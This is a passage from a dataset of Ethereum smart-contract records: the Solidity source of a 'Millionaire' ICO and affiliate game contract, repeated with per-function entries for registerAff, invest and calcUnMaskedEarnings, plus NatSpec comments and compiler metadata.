function getMFBalance(address _addr)
public
view
returns(uint256) {
return balance_[_addr];
}
} | registerAff | function registerAff()
public
isHuman()
payable
{
require (msg.value >= REGISTER_FEE, "register affiliate fees must >= 0.01 ether");
require (plyr_[msg.sender].playerID == 0, "you already register!");
plyrAddr_[++sequence_] = msg.sender;
plyr_[msg.sender].playerID = sequence_;
fundAddr_.transfer(msg.value);
emit onNewPlayer(msg.sender,sequence_, block.timestamp);
}
| /**
* @dev register as a affiliate
*/ | NatSpecMultiLine | v0.4.25+commit.59dbf8f1 | bzzr://19344f09337febac2ce136703d5a2e1deb14f3d31e0b173b4d29c86dd14c2bed | {
"func_code_index": [
5674,
6137
]
} | 6,953 |
|||
Millionaire | Millionaire.sol | 0x98bdbc858822415c626c13267594fbc205182a1f | Solidity | Millionaire | contract Millionaire is MillionaireInterface,Milevents {
using SafeMath for *;
using MFCoinsCalc for uint256;
//==============================================================================
// _ _ _ |`. _ _ _ |_ | _ _ .
// (_(_)| |~|~|(_||_|| (_||_)|(/__\ . (game settings)
//=================_|===========================================================
string constant private name_ = "Millionaire Official";
uint256 constant private icoRndMax_ = 2 weeks; // ico max period
uint256 private icoEndtime_; // ico end time
uint256 private icoAmount_; // ico eth amount;
uint256 private sequence_; // affiliate id sequence
bool private activated_; // mark contract is activated;
bool private icoEnd_; // is ico ended;
MilFoldInterface public milFold_; // milFold contract
MilAuthInterface constant private milAuth_ = MilAuthInterface(0xf856f6a413f7756FfaF423aa2101b37E2B3aFFD9);
uint256 public globalMask_; // use to calc player gen
uint256 public mfCoinPool_; // MFCoin Pool
uint256 public totalSupply_; // MFCoin current supply
address constant private fundAddr_ = 0xB0c7Dc00E8A74c9dEc8688EFb98CcB2e24584E3B; // foundation address
uint256 constant private REGISTER_FEE = 0.01 ether; // register affiliate fees
uint256 constant private MAX_ICO_AMOUNT = 3000 ether; // max tickets you can buy one time
mapping(address => uint256) private balance_; // player coin balance
mapping(uint256 => address) private plyrAddr_; // (id => address) returns player id by address
mapping(address => Mildatasets.Player) private plyr_; // (addr => data) player data
//==============================================================================
// _ _ _ _|. |`. _ _ _ .
// | | |(_)(_||~|~|(/_| _\ . (these are safety checks)
//==============================================================================
/**
* @dev used to make sure no one can interact with contract until it has
* been activated.
*/
modifier isActivated() {
require(activated_ == true, "its not ready start");
_;
}
/**
* @dev prevents contracts from interacting with Millionare
*/
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
/**
* @dev sets boundaries for incoming tx
*/
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 0.1 ether, "must > 0.1 ether");
_;
}
/**
* @dev check sender must be devs
*/
modifier onlyDevs()
{
require(milAuth_.isDev(msg.sender) == true, "msg sender is not a dev");
_;
}
/**
* @dev default buy set to ico
*/
function()
public
isActivated()
isHuman()
isWithinLimits(msg.value)
payable
{
icoCore(msg.value);
}
/**
* @dev buy MFCoin use eth in ico phase
*/
function buyICO()
public
isActivated()
isHuman()
isWithinLimits(msg.value)
payable
{
icoCore(msg.value);
}
function icoCore(uint256 _eth) private {
if (icoEnd_) {
plyr_[msg.sender].eth = plyr_[msg.sender].eth.add(_eth);
} else {
if (block.timestamp > icoEndtime_ || icoAmount_ >= MAX_ICO_AMOUNT) {
plyr_[msg.sender].eth = plyr_[msg.sender].eth.add(_eth);
icoEnd_ = true;
milFold_.activate();
emit onICO(msg.sender, 0, 0, MAX_ICO_AMOUNT, icoEnd_);
} else {
uint256 ethAmount = _eth;
if (ethAmount + icoAmount_ > MAX_ICO_AMOUNT) {
ethAmount = MAX_ICO_AMOUNT.sub(icoAmount_);
plyr_[msg.sender].eth = _eth.sub(ethAmount);
}
icoAmount_ = icoAmount_.add(ethAmount);
uint256 converts = ethAmount.mul(65)/100;
uint256 pot = ethAmount.sub(converts);
//65% of your eth use to convert MFCoin
uint256 buytMf = buyMFCoins(msg.sender, converts);
//35% of your eth use to pot
milFold_.addPot.value(pot)();
if (icoAmount_ >= MAX_ICO_AMOUNT) {
icoEnd_ = true;
milFold_.activate();
}
emit onICO(msg.sender, ethAmount, buytMf, icoAmount_, icoEnd_);
}
}
}
/**
* @dev withdraw all you earnings to your address
*/
function withdraw()
public
isActivated()
isHuman()
{
updateGenVault(msg.sender);
if (plyr_[msg.sender].eth > 0) {
uint256 amount = plyr_[msg.sender].eth;
plyr_[msg.sender].eth = 0;
msg.sender.transfer(amount);
emit onWithdraw(
msg.sender,
amount,
block.timestamp
);
}
}
/**
* @dev register as a affiliate
*/
function registerAff()
public
isHuman()
payable
{
require (msg.value >= REGISTER_FEE, "register affiliate fees must >= 0.01 ether");
require (plyr_[msg.sender].playerID == 0, "you already register!");
plyrAddr_[++sequence_] = msg.sender;
plyr_[msg.sender].playerID = sequence_;
fundAddr_.transfer(msg.value);
emit onNewPlayer(msg.sender,sequence_, block.timestamp);
}
function setMilFold(address _milFoldAddr)
public
onlyDevs
{
require(address(milFold_) == 0, "milFold has been set");
require(_milFoldAddr != 0, "milFold is invalid");
milFold_ = MilFoldInterface(_milFoldAddr);
}
function activate()
public
onlyDevs
{
require(address(milFold_) != 0, "milFold has not been set");
require(activated_ == false, "ICO already activated");
// activate the ico
activated_ = true;
icoEndtime_ = block.timestamp + icoRndMax_;
}
/**
* @dev external contracts interact with Millionare via investing MF Coin
* @param _addr player's address
* @param _affID affiliate ID
* @param _mfCoin eth amount to buy MF Coin
* @param _general eth amount assign to general
*/
function invest(address _addr, uint256 _affID, uint256 _mfCoin, uint256 _general)
external
isActivated()
payable
{
require(milAuth_.checkGameRegiester(msg.sender), "game no register");
require(_mfCoin.add(_general) <= msg.value, "account is insufficient");
if (msg.value > 0) {
uint256 tmpAffID = 0;
if (_affID == 0 || plyrAddr_[_affID] == _addr) {
tmpAffID = plyr_[_addr].laff;
} else if (plyr_[_addr].laff == 0 && plyrAddr_[_affID] != address(0)) {
plyr_[_addr].laff = _affID;
tmpAffID = _affID;
}
// if affiliate not exist, assign affiliate to general, i.e. set affiliate to zero
uint256 _affiliate = msg.value.sub(_mfCoin).sub(_general);
if (tmpAffID > 0 && _affiliate > 0) {
address affAddr = plyrAddr_[tmpAffID];
plyr_[affAddr].affTotal = plyr_[affAddr].affTotal.add(_affiliate);
plyr_[affAddr].eth = plyr_[affAddr].eth.add(_affiliate);
emit onAffiliatePayout(affAddr, _addr, _affiliate, block.timestamp);
}
if (totalSupply_ > 0) {
uint256 delta = _general.mul(1 ether).div(totalSupply_);
globalMask_ = globalMask_.add(delta);
} else {
//if nobody hold MFCoin,so nobody get general,it will give foundation
fundAddr_.transfer(_general);
}
updateGenVault(_addr);
buyMFCoins(_addr, _mfCoin);
emit onUpdateGenVault(_addr, balance_[_addr], plyr_[_addr].genTotal, plyr_[_addr].eth);
}
}
/**
* @dev calculates unmasked earnings (just calculates, does not update mask)
* @return earnings in wei format
*/
function calcUnMaskedEarnings(address _addr)
private
view
returns(uint256)
{
uint256 diffMask = globalMask_.sub(plyr_[_addr].mask);
if (diffMask > 0) {
return diffMask.mul(balance_[_addr]).div(1 ether);
}
}
/**
* @dev updates masks for round and player when keys are bought
*/
function updateGenVaultAndMask(address _addr, uint256 _affID)
external
payable
{
require(msg.sender == address(milFold_), "no authrity");
if (msg.value > 0) {
/**
* 50/80 use to convert MFCoin
* 10/80 use to affiliate
* 20/80 use to general
*/
uint256 converts = msg.value.mul(50).div(80);
uint256 tmpAffID = 0;
if (_affID == 0 || plyrAddr_[_affID] == _addr) {
tmpAffID = plyr_[_addr].laff;
} else if (plyr_[_addr].laff == 0 && plyrAddr_[_affID] != address(0)) {
plyr_[_addr].laff = _affID;
tmpAffID = _affID;
}
uint256 affAmount = 0;
if (tmpAffID > 0) {
affAmount = msg.value.mul(10).div(80);
address affAddr = plyrAddr_[tmpAffID];
plyr_[affAddr].affTotal = plyr_[affAddr].affTotal.add(affAmount);
plyr_[affAddr].eth = plyr_[affAddr].eth.add(affAmount);
emit onAffiliatePayout(affAddr, _addr, affAmount, block.timestamp);
}
if (totalSupply_ > 0) {
uint256 delta = msg.value.sub(converts).sub(affAmount).mul(1 ether).div(totalSupply_);
globalMask_ = globalMask_.add(delta);
} else {
//if nobody hold MFCoin,so nobody get general,it will give foundation
fundAddr_.transfer(msg.value.sub(converts).sub(affAmount));
}
updateGenVault(_addr);
buyMFCoins(_addr, converts);
emit onUpdateGenVault(_addr, balance_[_addr], plyr_[_addr].genTotal, plyr_[_addr].eth);
}
}
/**
* @dev game contract has been paid 20% amount for Millionaire and paid back now
*/
function clearGenVaultAndMask(address _addr, uint256 _affID, uint256 _eth, uint256 _milFee)
external
{
require(msg.sender == address(milFold_), "no authrity");
//check player eth balance is enough pay for
uint256 _earnings = calcUnMaskedEarnings(_addr);
require(plyr_[_addr].eth.add(_earnings) >= _eth, "eth balance not enough");
/**
* 50/80 use to convert MFCoin
* 10/80 use to affiliate
* 20/80 use to general
*/
uint256 converts = _milFee.mul(50).div(80);
uint256 tmpAffID = 0;
if (_affID == 0 || plyrAddr_[_affID] == _addr) {
tmpAffID = plyr_[_addr].laff;
} else if (plyr_[_addr].laff == 0 && plyrAddr_[_affID] != address(0)) {
plyr_[_addr].laff = _affID;
tmpAffID = _affID;
}
uint256 affAmount = 0;
if (tmpAffID > 0) {
affAmount = _milFee.mul(10).div(80);
address affAddr = plyrAddr_[tmpAffID];
plyr_[affAddr].affTotal = plyr_[affAddr].affTotal.add(affAmount);
plyr_[affAddr].eth = plyr_[affAddr].eth.add(affAmount);
emit onAffiliatePayout(affAddr, _addr, affAmount, block.timestamp);
}
if (totalSupply_ > 0) {
uint256 delta = _milFee.sub(converts).sub(affAmount).mul(1 ether).div(totalSupply_);
globalMask_ = globalMask_.add(delta);
} else {
//if nobody hold MFCoin,so nobody get general,it will give foundation
fundAddr_.transfer(_milFee.sub(converts).sub(affAmount));
}
updateGenVault(_addr);
buyMFCoins(_addr,converts);
plyr_[_addr].eth = plyr_[_addr].eth.sub(_eth);
milFold_.addPot.value(_eth.sub(_milFee))();
emit onUpdateGenVault(_addr, balance_[_addr], plyr_[_addr].genTotal, plyr_[_addr].eth);
}
/**
* @dev moves any unmasked earnings to gen vault. updates earnings mask
*/
function updateGenVault(address _addr) private
{
uint256 _earnings = calcUnMaskedEarnings(_addr);
if (_earnings > 0) {
plyr_[_addr].mask = globalMask_;
plyr_[_addr].genTotal = plyr_[_addr].genTotal.add(_earnings);
plyr_[_addr].eth = plyr_[_addr].eth.add(_earnings);
} else if (globalMask_ > plyr_[_addr].mask) {
plyr_[_addr].mask = globalMask_;
}
}
/**
* @dev convert eth to coin
* @param _addr user address
* @return return back coins
*/
function buyMFCoins(address _addr, uint256 _eth) private returns(uint256) {
uint256 _coins = calcCoinsReceived(_eth);
mfCoinPool_ = mfCoinPool_.add(_eth);
totalSupply_ = totalSupply_.add(_coins);
balance_[_addr] = balance_[_addr].add(_coins);
emit onBuyMFCoins(_addr, _eth, _coins, now);
return _coins;
}
/**
* @dev sell coin to eth
* @param _coins sell coins
* @return return back eth
*/
function sellMFCoins(uint256 _coins) public {
require(icoEnd_, "ico phase not end");
require(balance_[msg.sender] >= _coins, "coins amount is out of range");
updateGenVault(msg.sender);
uint256 _eth = totalSupply_.ethRec(_coins);
mfCoinPool_ = mfCoinPool_.sub(_eth);
totalSupply_ = totalSupply_.sub(_coins);
balance_[msg.sender] = balance_[msg.sender].sub(_coins);
if (milAuth_.checkGameClosed(address(milFold_))) {
plyr_[msg.sender].eth = plyr_[msg.sender].eth.add(_eth);
} else {
/**
* 10/100 transfer to pot
* 90/100 transfer to owner
*/
uint256 earnAmount = _eth.mul(90).div(100);
plyr_[msg.sender].eth = plyr_[msg.sender].eth.add(earnAmount);
milFold_.addPot.value(_eth.sub(earnAmount))();
}
emit onSellMFCoins(msg.sender, earnAmount, _coins, now);
}
/**
* @dev anyone winner of milfold will call this function
* @param _addr winner address
*/
function assign(address _addr)
external
payable
{
require(msg.sender == address(milFold_), "no authrity");
plyr_[_addr].eth = plyr_[_addr].eth.add(msg.value);
}
/**
* @dev If unfortunate the game has problem or has no winner at long time, we'll end the game and divide the pot equally among all MF users
*/
function splitPot()
external
payable
{
require(milAuth_.checkGameClosed(msg.sender), "game has not been closed");
uint256 delta = msg.value.mul(1 ether).div(totalSupply_);
globalMask_ = globalMask_.add(delta);
emit onGameClose(msg.sender, msg.value, now);
}
/**
* @dev returns ico info
* @return ico end time
* @return already ico summary
* @return ico phase is end
*/
function getIcoInfo()
public
view
returns(uint256, uint256, bool) {
return (icoAmount_, icoEndtime_, icoEnd_);
}
/**
* @dev returns player info based on address
* @param _addr address of the player you want to lookup
* @return player ID
* @return player eth balance
* @return player MFCoin
* @return general vault
* @return affiliate vault
*/
function getPlayerAccount(address _addr)
public
isActivated()
view
returns(uint256, uint256, uint256, uint256, uint256)
{
uint256 genAmount = calcUnMaskedEarnings(_addr);
return (
plyr_[_addr].playerID,
plyr_[_addr].eth.add(genAmount),
balance_[_addr],
plyr_[_addr].genTotal.add(genAmount),
plyr_[_addr].affTotal
);
}
/**
* @dev give _eth can convert how much MFCoin
* @param _eth eth i will give
* @return MFCoin will return back
*/
function calcCoinsReceived(uint256 _eth)
public
view
returns(uint256)
{
return mfCoinPool_.keysRec(_eth);
}
/**
* @dev returns current eth price for X coins.
* @param _coins number of coins desired (in 18 decimal format)
* @return amount of eth needed to send
*/
function calcEthReceived(uint256 _coins)
public
view
returns(uint256)
{
if (totalSupply_ < _coins) {
return 0;
}
return totalSupply_.ethRec(_coins);
}
function getMFBalance(address _addr)
public
view
returns(uint256) {
return balance_[_addr];
}
} | invest | function invest(address _addr, uint256 _affID, uint256 _mfCoin, uint256 _general)
external
isActivated()
payable
{
require(milAuth_.checkGameRegiester(msg.sender), "game no register");
require(_mfCoin.add(_general) <= msg.value, "account is insufficient");
if (msg.value > 0) {
uint256 tmpAffID = 0;
if (_affID == 0 || plyrAddr_[_affID] == _addr) {
tmpAffID = plyr_[_addr].laff;
} else if (plyr_[_addr].laff == 0 && plyrAddr_[_affID] != address(0)) {
plyr_[_addr].laff = _affID;
tmpAffID = _affID;
}
// if affiliate not exist, assign affiliate to general, i.e. set affiliate to zero
uint256 _affiliate = msg.value.sub(_mfCoin).sub(_general);
if (tmpAffID > 0 && _affiliate > 0) {
address affAddr = plyrAddr_[tmpAffID];
plyr_[affAddr].affTotal = plyr_[affAddr].affTotal.add(_affiliate);
plyr_[affAddr].eth = plyr_[affAddr].eth.add(_affiliate);
emit onAffiliatePayout(affAddr, _addr, _affiliate, block.timestamp);
}
if (totalSupply_ > 0) {
uint256 delta = _general.mul(1 ether).div(totalSupply_);
globalMask_ = globalMask_.add(delta);
} else {
//if nobody hold MFCoin,so nobody get general,it will give foundation
fundAddr_.transfer(_general);
}
updateGenVault(_addr);
buyMFCoins(_addr, _mfCoin);
emit onUpdateGenVault(_addr, balance_[_addr], plyr_[_addr].genTotal, plyr_[_addr].eth);
}
}
| /**
* @dev external contracts interact with Millionare via investing MF Coin
* @param _addr player's address
* @param _affID affiliate ID
* @param _mfCoin eth amount to buy MF Coin
* @param _general eth amount assign to general
*/ | NatSpecMultiLine | v0.4.25+commit.59dbf8f1 | bzzr://19344f09337febac2ce136703d5a2e1deb14f3d31e0b173b4d29c86dd14c2bed | {
"func_code_index": [
7009,
8778
]
} | 6,954 |
|||
Millionaire | Millionaire.sol | 0x98bdbc858822415c626c13267594fbc205182a1f | Solidity | Millionaire | contract Millionaire is MillionaireInterface,Milevents {
using SafeMath for *;
using MFCoinsCalc for uint256;
//==============================================================================
// _ _ _ |`. _ _ _ |_ | _ _ .
// (_(_)| |~|~|(_||_|| (_||_)|(/__\ . (game settings)
//=================_|===========================================================
string constant private name_ = "Millionaire Official";
uint256 constant private icoRndMax_ = 2 weeks; // ico max period
uint256 private icoEndtime_; // ico end time
uint256 private icoAmount_; // ico eth amount;
uint256 private sequence_; // affiliate id sequence
bool private activated_; // mark contract is activated;
bool private icoEnd_; // is ico ended;
MilFoldInterface public milFold_; // milFold contract
MilAuthInterface constant private milAuth_ = MilAuthInterface(0xf856f6a413f7756FfaF423aa2101b37E2B3aFFD9);
uint256 public globalMask_; // use to calc player gen
uint256 public mfCoinPool_; // MFCoin Pool
uint256 public totalSupply_; // MFCoin current supply
address constant private fundAddr_ = 0xB0c7Dc00E8A74c9dEc8688EFb98CcB2e24584E3B; // foundation address
uint256 constant private REGISTER_FEE = 0.01 ether; // register affiliate fees
uint256 constant private MAX_ICO_AMOUNT = 3000 ether; // max tickets you can buy one time
mapping(address => uint256) private balance_; // player coin balance
mapping(uint256 => address) private plyrAddr_; // (id => address) returns player id by address
mapping(address => Mildatasets.Player) private plyr_; // (addr => data) player data
//==============================================================================
// _ _ _ _|. |`. _ _ _ .
// | | |(_)(_||~|~|(/_| _\ . (these are safety checks)
//==============================================================================
/**
* @dev used to make sure no one can interact with contract until it has
* been activated.
*/
modifier isActivated() {
require(activated_ == true, "its not ready start");
_;
}
/**
* @dev prevents contracts from interacting with Millionare
*/
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
/**
* @dev sets boundaries for incoming tx
*/
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 0.1 ether, "must > 0.1 ether");
_;
}
/**
* @dev check sender must be devs
*/
modifier onlyDevs()
{
require(milAuth_.isDev(msg.sender) == true, "msg sender is not a dev");
_;
}
/**
* @dev default buy set to ico
*/
function()
public
isActivated()
isHuman()
isWithinLimits(msg.value)
payable
{
icoCore(msg.value);
}
/**
* @dev buy MFCoin use eth in ico phase
*/
function buyICO()
public
isActivated()
isHuman()
isWithinLimits(msg.value)
payable
{
icoCore(msg.value);
}
function icoCore(uint256 _eth) private {
if (icoEnd_) {
plyr_[msg.sender].eth = plyr_[msg.sender].eth.add(_eth);
} else {
if (block.timestamp > icoEndtime_ || icoAmount_ >= MAX_ICO_AMOUNT) {
plyr_[msg.sender].eth = plyr_[msg.sender].eth.add(_eth);
icoEnd_ = true;
milFold_.activate();
emit onICO(msg.sender, 0, 0, MAX_ICO_AMOUNT, icoEnd_);
} else {
uint256 ethAmount = _eth;
if (ethAmount + icoAmount_ > MAX_ICO_AMOUNT) {
ethAmount = MAX_ICO_AMOUNT.sub(icoAmount_);
plyr_[msg.sender].eth = _eth.sub(ethAmount);
}
icoAmount_ = icoAmount_.add(ethAmount);
uint256 converts = ethAmount.mul(65)/100;
uint256 pot = ethAmount.sub(converts);
//65% of your eth use to convert MFCoin
uint256 buytMf = buyMFCoins(msg.sender, converts);
//35% of your eth use to pot
milFold_.addPot.value(pot)();
if (icoAmount_ >= MAX_ICO_AMOUNT) {
icoEnd_ = true;
milFold_.activate();
}
emit onICO(msg.sender, ethAmount, buytMf, icoAmount_, icoEnd_);
}
}
}
/**
* @dev withdraw all you earnings to your address
*/
function withdraw()
public
isActivated()
isHuman()
{
updateGenVault(msg.sender);
if (plyr_[msg.sender].eth > 0) {
uint256 amount = plyr_[msg.sender].eth;
plyr_[msg.sender].eth = 0;
msg.sender.transfer(amount);
emit onWithdraw(
msg.sender,
amount,
block.timestamp
);
}
}
/**
* @dev register as a affiliate
*/
function registerAff()
public
isHuman()
payable
{
require (msg.value >= REGISTER_FEE, "register affiliate fees must >= 0.01 ether");
require (plyr_[msg.sender].playerID == 0, "you already register!");
plyrAddr_[++sequence_] = msg.sender;
plyr_[msg.sender].playerID = sequence_;
fundAddr_.transfer(msg.value);
emit onNewPlayer(msg.sender,sequence_, block.timestamp);
}
function setMilFold(address _milFoldAddr)
public
onlyDevs
{
require(address(milFold_) == 0, "milFold has been set");
require(_milFoldAddr != 0, "milFold is invalid");
milFold_ = MilFoldInterface(_milFoldAddr);
}
function activate()
public
onlyDevs
{
require(address(milFold_) != 0, "milFold has not been set");
require(activated_ == false, "ICO already activated");
// activate the ico
activated_ = true;
icoEndtime_ = block.timestamp + icoRndMax_;
}
/**
* @dev external contracts interact with Millionare via investing MF Coin
* @param _addr player's address
* @param _affID affiliate ID
* @param _mfCoin eth amount to buy MF Coin
* @param _general eth amount assign to general
*/
function invest(address _addr, uint256 _affID, uint256 _mfCoin, uint256 _general)
external
isActivated()
payable
{
require(milAuth_.checkGameRegiester(msg.sender), "game no register");
require(_mfCoin.add(_general) <= msg.value, "account is insufficient");
if (msg.value > 0) {
uint256 tmpAffID = 0;
if (_affID == 0 || plyrAddr_[_affID] == _addr) {
tmpAffID = plyr_[_addr].laff;
} else if (plyr_[_addr].laff == 0 && plyrAddr_[_affID] != address(0)) {
plyr_[_addr].laff = _affID;
tmpAffID = _affID;
}
// if affiliate not exist, assign affiliate to general, i.e. set affiliate to zero
uint256 _affiliate = msg.value.sub(_mfCoin).sub(_general);
if (tmpAffID > 0 && _affiliate > 0) {
address affAddr = plyrAddr_[tmpAffID];
plyr_[affAddr].affTotal = plyr_[affAddr].affTotal.add(_affiliate);
plyr_[affAddr].eth = plyr_[affAddr].eth.add(_affiliate);
emit onAffiliatePayout(affAddr, _addr, _affiliate, block.timestamp);
}
if (totalSupply_ > 0) {
uint256 delta = _general.mul(1 ether).div(totalSupply_);
globalMask_ = globalMask_.add(delta);
} else {
//if nobody hold MFCoin,so nobody get general,it will give foundation
fundAddr_.transfer(_general);
}
updateGenVault(_addr);
buyMFCoins(_addr, _mfCoin);
emit onUpdateGenVault(_addr, balance_[_addr], plyr_[_addr].genTotal, plyr_[_addr].eth);
}
}
/**
* @dev calculates unmasked earnings (just calculates, does not update mask)
* @return earnings in wei format
*/
function calcUnMaskedEarnings(address _addr)
private
view
returns(uint256)
{
uint256 diffMask = globalMask_.sub(plyr_[_addr].mask);
if (diffMask > 0) {
return diffMask.mul(balance_[_addr]).div(1 ether);
}
}
/**
* @dev updates masks for round and player when keys are bought
*/
function updateGenVaultAndMask(address _addr, uint256 _affID)
external
payable
{
require(msg.sender == address(milFold_), "no authrity");
if (msg.value > 0) {
/**
* 50/80 use to convert MFCoin
* 10/80 use to affiliate
* 20/80 use to general
*/
uint256 converts = msg.value.mul(50).div(80);
uint256 tmpAffID = 0;
if (_affID == 0 || plyrAddr_[_affID] == _addr) {
tmpAffID = plyr_[_addr].laff;
} else if (plyr_[_addr].laff == 0 && plyrAddr_[_affID] != address(0)) {
plyr_[_addr].laff = _affID;
tmpAffID = _affID;
}
uint256 affAmount = 0;
if (tmpAffID > 0) {
affAmount = msg.value.mul(10).div(80);
address affAddr = plyrAddr_[tmpAffID];
plyr_[affAddr].affTotal = plyr_[affAddr].affTotal.add(affAmount);
plyr_[affAddr].eth = plyr_[affAddr].eth.add(affAmount);
emit onAffiliatePayout(affAddr, _addr, affAmount, block.timestamp);
}
if (totalSupply_ > 0) {
uint256 delta = msg.value.sub(converts).sub(affAmount).mul(1 ether).div(totalSupply_);
globalMask_ = globalMask_.add(delta);
} else {
//if nobody hold MFCoin,so nobody get general,it will give foundation
fundAddr_.transfer(msg.value.sub(converts).sub(affAmount));
}
updateGenVault(_addr);
buyMFCoins(_addr, converts);
emit onUpdateGenVault(_addr, balance_[_addr], plyr_[_addr].genTotal, plyr_[_addr].eth);
}
}
/**
* @dev game contract has been paid 20% amount for Millionaire and paid back now
*/
function clearGenVaultAndMask(address _addr, uint256 _affID, uint256 _eth, uint256 _milFee)
external
{
require(msg.sender == address(milFold_), "no authrity");
//check player eth balance is enough pay for
uint256 _earnings = calcUnMaskedEarnings(_addr);
require(plyr_[_addr].eth.add(_earnings) >= _eth, "eth balance not enough");
/**
* 50/80 use to convert MFCoin
* 10/80 use to affiliate
* 20/80 use to general
*/
uint256 converts = _milFee.mul(50).div(80);
uint256 tmpAffID = 0;
if (_affID == 0 || plyrAddr_[_affID] == _addr) {
tmpAffID = plyr_[_addr].laff;
} else if (plyr_[_addr].laff == 0 && plyrAddr_[_affID] != address(0)) {
plyr_[_addr].laff = _affID;
tmpAffID = _affID;
}
uint256 affAmount = 0;
if (tmpAffID > 0) {
affAmount = _milFee.mul(10).div(80);
address affAddr = plyrAddr_[tmpAffID];
plyr_[affAddr].affTotal = plyr_[affAddr].affTotal.add(affAmount);
plyr_[affAddr].eth = plyr_[affAddr].eth.add(affAmount);
emit onAffiliatePayout(affAddr, _addr, affAmount, block.timestamp);
}
if (totalSupply_ > 0) {
uint256 delta = _milFee.sub(converts).sub(affAmount).mul(1 ether).div(totalSupply_);
globalMask_ = globalMask_.add(delta);
} else {
//if nobody hold MFCoin,so nobody get general,it will give foundation
fundAddr_.transfer(_milFee.sub(converts).sub(affAmount));
}
updateGenVault(_addr);
buyMFCoins(_addr,converts);
plyr_[_addr].eth = plyr_[_addr].eth.sub(_eth);
milFold_.addPot.value(_eth.sub(_milFee))();
emit onUpdateGenVault(_addr, balance_[_addr], plyr_[_addr].genTotal, plyr_[_addr].eth);
}
/**
* @dev moves any unmasked earnings to gen vault. updates earnings mask
*/
function updateGenVault(address _addr) private
{
uint256 _earnings = calcUnMaskedEarnings(_addr);
if (_earnings > 0) {
plyr_[_addr].mask = globalMask_;
plyr_[_addr].genTotal = plyr_[_addr].genTotal.add(_earnings);
plyr_[_addr].eth = plyr_[_addr].eth.add(_earnings);
} else if (globalMask_ > plyr_[_addr].mask) {
plyr_[_addr].mask = globalMask_;
}
}
/**
* @dev convert eth to coin
* @param _addr user address
* @return return back coins
*/
function buyMFCoins(address _addr, uint256 _eth) private returns(uint256) {
uint256 _coins = calcCoinsReceived(_eth);
mfCoinPool_ = mfCoinPool_.add(_eth);
totalSupply_ = totalSupply_.add(_coins);
balance_[_addr] = balance_[_addr].add(_coins);
emit onBuyMFCoins(_addr, _eth, _coins, now);
return _coins;
}
/**
* @dev sell coin to eth
* @param _coins sell coins
* @return return back eth
*/
function sellMFCoins(uint256 _coins) public {
require(icoEnd_, "ico phase not end");
require(balance_[msg.sender] >= _coins, "coins amount is out of range");
updateGenVault(msg.sender);
uint256 _eth = totalSupply_.ethRec(_coins);
mfCoinPool_ = mfCoinPool_.sub(_eth);
totalSupply_ = totalSupply_.sub(_coins);
balance_[msg.sender] = balance_[msg.sender].sub(_coins);
if (milAuth_.checkGameClosed(address(milFold_))) {
plyr_[msg.sender].eth = plyr_[msg.sender].eth.add(_eth);
} else {
/**
* 10/100 transfer to pot
* 90/100 transfer to owner
*/
uint256 earnAmount = _eth.mul(90).div(100);
plyr_[msg.sender].eth = plyr_[msg.sender].eth.add(earnAmount);
milFold_.addPot.value(_eth.sub(earnAmount))();
}
emit onSellMFCoins(msg.sender, earnAmount, _coins, now);
}
/**
* @dev anyone winner of milfold will call this function
* @param _addr winner address
*/
function assign(address _addr)
external
payable
{
require(msg.sender == address(milFold_), "no authrity");
plyr_[_addr].eth = plyr_[_addr].eth.add(msg.value);
}
/**
* @dev If unfortunate the game has problem or has no winner at long time, we'll end the game and divide the pot equally among all MF users
*/
function splitPot()
external
payable
{
require(milAuth_.checkGameClosed(msg.sender), "game has not been closed");
uint256 delta = msg.value.mul(1 ether).div(totalSupply_);
globalMask_ = globalMask_.add(delta);
emit onGameClose(msg.sender, msg.value, now);
}
/**
* @dev returns ico info
* @return ico end time
* @return already ico summary
* @return ico phase is end
*/
function getIcoInfo()
public
view
returns(uint256, uint256, bool) {
return (icoAmount_, icoEndtime_, icoEnd_);
}
/**
* @dev returns player info based on address
* @param _addr address of the player you want to lookup
* @return player ID
* @return player eth balance
* @return player MFCoin
* @return general vault
* @return affiliate vault
*/
function getPlayerAccount(address _addr)
public
isActivated()
view
returns(uint256, uint256, uint256, uint256, uint256)
{
uint256 genAmount = calcUnMaskedEarnings(_addr);
return (
plyr_[_addr].playerID,
plyr_[_addr].eth.add(genAmount),
balance_[_addr],
plyr_[_addr].genTotal.add(genAmount),
plyr_[_addr].affTotal
);
}
/**
* @dev give _eth can convert how much MFCoin
* @param _eth eth i will give
* @return MFCoin will return back
*/
function calcCoinsReceived(uint256 _eth)
public
view
returns(uint256)
{
return mfCoinPool_.keysRec(_eth);
}
/**
* @dev returns current eth price for X coins.
* @param _coins number of coins desired (in 18 decimal format)
* @return amount of eth needed to send
*/
function calcEthReceived(uint256 _coins)
public
view
returns(uint256)
{
if (totalSupply_ < _coins) {
return 0;
}
return totalSupply_.ethRec(_coins);
}
function getMFBalance(address _addr)
public
view
returns(uint256) {
return balance_[_addr];
}
} | calcUnMaskedEarnings | function calcUnMaskedEarnings(address _addr)
private
view
returns(uint256)
{
uint256 diffMask = globalMask_.sub(plyr_[_addr].mask);
if (diffMask > 0) {
return diffMask.mul(balance_[_addr]).div(1 ether);
}
}
| /**
* @dev calculates unmasked earnings (just calculates, does not update mask)
* @return earnings in wei format
*/ | NatSpecMultiLine | v0.4.25+commit.59dbf8f1 | bzzr://19344f09337febac2ce136703d5a2e1deb14f3d31e0b173b4d29c86dd14c2bed | {
"func_code_index": [
8920,
9208
]
} | 6,955 |
|||
Millionaire | Millionaire.sol | 0x98bdbc858822415c626c13267594fbc205182a1f | Solidity | Millionaire | contract Millionaire is MillionaireInterface,Milevents {
using SafeMath for *;
using MFCoinsCalc for uint256;
//==============================================================================
// _ _ _ |`. _ _ _ |_ | _ _ .
// (_(_)| |~|~|(_||_|| (_||_)|(/__\ . (game settings)
//=================_|===========================================================
string constant private name_ = "Millionaire Official";
uint256 constant private icoRndMax_ = 2 weeks; // ico max period
uint256 private icoEndtime_; // ico end time
uint256 private icoAmount_; // ico eth amount;
uint256 private sequence_; // affiliate id sequence
bool private activated_; // mark contract is activated;
bool private icoEnd_; // is ico ended;
MilFoldInterface public milFold_; // milFold contract
MilAuthInterface constant private milAuth_ = MilAuthInterface(0xf856f6a413f7756FfaF423aa2101b37E2B3aFFD9);
